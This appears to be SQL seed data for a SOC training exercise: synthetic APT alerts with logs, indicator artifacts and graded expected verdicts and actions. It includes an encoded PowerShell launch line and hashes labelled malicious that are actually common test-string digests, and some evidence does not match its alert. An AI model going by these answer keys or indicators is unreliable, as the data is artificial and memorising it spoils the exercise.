(1500, 'Lateral Movement Detected', 'high', 'Internal Network Monitoring', 'APT41 is attempting to expand access within the network by targeting specific MAC addresses. Compromised systems are being used to move laterally.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:55:36Z\",\"event\":\"Lateral Movement Attempt\",\"source_ip\":\"10.0.1.15\",\"target_ip\":\"10.0.1.20\",\"attacker_ip\":\"203.0.113.45\",\"compromised_user\":\"j.doe\",\"malware_hash\":\"7a82f1c3b2d5e4a6f9c8d4f9e3b2a4c5\",\"target_mac_address\":\"00:1A:2B:3C:4D:5E\",\"filename\":\"CCleaner_v2.0.exe\"}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Source IP of lateral movement attempt\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Known APT41 attacker IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7a82f1c3b2d5e4a6f9c8d4f9e3b2a4c5\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 CCleaner variant\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity_logs\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"CCleaner_v2.0.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used in lateral movement\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1501, 'Targeted Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) Tools', 'An attempt was detected to exfiltrate sensitive data from devices with specific MAC addresses. This marks the final step of the operation by APT41, using their known tactics and tools.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_id\":\"DLP-EXF-2345\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.25\",\"source_port\":443,\"destination_port\":8080,\"protocol\":\"HTTPS\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"mac_address\":\"00:1B:44:11:3A:B7\",\"username\":\"jdoe\",\"filename\":\"confidential_data.zip\",\"action\":\"blocked\",\"description\":\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\"}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised device.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive data attempted to be exfiltrated.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1502, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email was detected targeting government officials with the intent to deliver a malicious payload for initial access.', 'Phishing', 'T1566', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T08:32:21Z\",\"email_subject\":\"Urgent: Update Your Account Information\",\"sender_email\":\"security-update@fakedomain.com\",\"recipient_email\":\"john.doe@govagency.gov\",\"sender_ip\":\"203.0.113.45\",\"attachment_filename\":\"Account_Update.docm\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"malicious_url\":\"http://malicious-update.com/login\",\"internal_ip\":\"192.168.1.15\"}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Threat Intel\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"security-update@fakedomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Threat Intel\",\"verdict\":\"malicious\",\"details\":\"Email domain used in multiple phishing attacks\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with known malware used for credential theft\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-update.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Phishing Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing URL targeting government sectors\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.150Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1503, 'Execution of NetTraveler\'s RAT', 'high', 'Endpoint Detection and Response (EDR) Alerts', 'Following a successful phishing attempt, NetTraveler\'s Remote Access Trojan (RAT) was executed, establishing a foothold within the network. The malware was identified on a user endpoint, initiating network communications to an external IP address associated with known malicious activity.', 'Malware Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"event_id\":\"EDR-4567\",\"detected_by\":\"Endpoint Detection and Response\",\"hostname\":\"workstation-45\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"185.92.220.25\",\"user\":\"j.doe\",\"process\":{\"name\":\"nettraveler.exe\",\"path\":\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\nettraveler.exe\",\"hash\":\"e9f0f9a0d2b1c7e5a3e6b9c8d4f8b7a9\"},\"command_line\":\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\nettraveler.exe\",\"malicious_activity\":\"Established connection to C2 server\",\"indicators\":[{\"type\":\"ip\",\"value\":\"185.92.220.25\"},{\"type\":\"hash\",\"value\":\"e9f0f9a0d2b1c7e5a3e6b9c8d4f8b7a9\"},{\"type\":\"filename\",\"value\":\"nettraveler.exe\"},{\"type\":\"username\",\"value\":\"j.doe\"}]}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e9f0f9a0d2b1c7e5a3e6b9c8d4f8b7a9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known NetTraveler RAT sample\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"nettraveler.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual execution path detected\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account involved in phishing attempt\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1504, 'Establishing Persistence via Registry Modification', 'high', 'Registry Change Logs', 'The RAT modifies registry keys to ensure it remains active even after system reboots, demonstrating NetTraveler\'s persistence tactics.', 'Persistence Mechanism', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:45:23Z\",\"event_id\":4657,\"user\":\"john.doe\",\"user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"source_ip\":\"192.168.1.105\",\"target_object\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\NetTraveler\",\"registry_value_name\":\"NetTraveler\",\"registry_value_type\":\"REG_SZ\",\"registry_value_data\":\"\\\"C:\\\\Program Files\\\\NetTraveler\\\\nettraveler.exe\\\"\",\"process_id\":4820,\"process_name\":\"C:\\\\Windows\\\\System32\\\\regedit.exe\",\"associated_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"attacker_ip\":\"203.0.113.45\"}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous NetTraveler activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\regedit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Executable associated with NetTraveler persistence mechanism.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"hashdb\",\"verdict\":\"malicious\",\"details\":\"MD5 hash of the NetTraveler executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1505, 'Lateral Movement Detected through SMB Protocol', 'high', 'Network Traffic Analysis', 'An advanced persistent threat has been detected leveraging the SMB protocol for lateral movement within the network. The adversary is attempting to compromise additional internal systems, utilizing known credentials and malicious tools.', 'Network Intrusion', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"192.168.1.150\",\"protocol\":\"SMB\",\"action\":\"allowed\",\"username\":\"jdoe\",\"file_accessed\":\"\\\\\\\\192.168.1.150\\\\C$\\\\Windows\\\\System32\\\\malicious.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"external_ip\":\"203.0.113.45\",\"event_id\":\"SMB-Event-445\",\"event_description\":\"Successful SMB connection and file transfer detected.\"}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal network IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Target internal IP address for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with external attacker.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_blacklist\",\"verdict\":\"malicious\",\"details\":\"Hash of malicious executable associated with APT activity.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1506, 'Data Exfiltration via Encrypted Channels', 'critical', 'Outbound Traffic Logs', 'In the final stage of the operation, the exfiltration of sensitive government data was detected over encrypted channels. The activity aligns with the NetTraveler APT group, indicating a sophisticated espionage effort.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"10.0.1.25\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"government_documents.zip\",\"action\":\"allowed\",\"bytes_sent\":10485760,\"indicator\":\"NetTraveler\"}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with NetTraveler APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash known to be used in exfiltration activities by APT groups.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"government_documents.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Filename contains sensitive government data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, 